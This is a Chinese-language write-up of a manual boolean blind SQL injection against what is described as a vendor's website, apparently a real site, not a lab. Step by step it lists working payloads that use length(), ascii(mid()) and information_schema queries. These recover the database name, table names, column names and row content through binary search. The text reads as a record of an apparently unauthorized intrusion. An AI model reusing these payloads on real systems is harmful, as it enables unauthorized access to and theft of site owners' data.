'对某厂商的盲注'

测试注入点为字符串还是整型

id=1’ 网站错误


id=2-1 网站正常 判定为整型

and 1=1 页面正常
and 1=2 页面部分数据为空

查询数据库长度

老样子,苦b二分法(T_T)

1
2
3
4
id=1 and (length(database()))>1
id=1 and (length(database()))>50

>12的时候没出错,>13出错,所以是长度是13


猜第一个字母,还是二分法
and ascii(mid(database(),1,1)) >1
and ascii(mid(database(),1,1)) >100

第一个字母ascii码为100
然后查询第二个字符
and ascii(mid(database(),2,1)) >1
and ascii(mid(database(),2,1)) >150
第二个字母ascii码为98
and ascii(mid(database(),3,1)) >1
and ascii(mid(database(),3,1)) >150

以此类推最后用sqlmap的select char()函数解码合起来为

数据库名为db83231_asfaa

查询当前数据库中所有表名

and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())>1
and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())>10

最后拿到表数量为11

查询表的长度
and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()limit 0,1)>4

结果为7

获取表的第一个字母

and ascii(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database()limit 0,1),1,1)) >1


第一个字符ascii码为97
第二个字符ascii码为116
以此类推
得到表名为atelier

查询atelier表有几个字段

and (select count(column_name) from information_schema.columns where table_name = ‘atelier’ and table_schema = database()) >2

有2个字段

查询字段长度

and length((select column_name from information_schema.columns where table_name = ‘atelier’ and table_schema = database()limit 0,1)) >1

and ascii(substr((select column_name from information_schema.columns where table_name = ‘atelier’ and table_schema = database() limit 0,1),1,1))>1

字段行数为2

查询字段的第一个字母

and ascii(mid((select column_name from information_schema.columns where table_schema = ‘db83231_asfaa’ and TABLE_NAME = ‘atelier’ limit 0,1),1,1))>105

查询出来第一个字段名为id
第二个字段名为categoria

查询字段所有行数

1
and (select count(*) from db83231_asfaa.atelier)>4


所有字段行数为4

查询categoria的字段内容(id太好查了)
查询categoria的字段的第一个内容
and length((select categoria from db83231_asfaa.atelier limit 0,1))>16

第一个字段内容长度是17
猜第一个字母


87 111 114 ·········

最后查询到字段内容为World Walking Day
(mysql中空格显示是个小方块,ASCII码32,lei了lei了(T_T),盲注太麻烦了)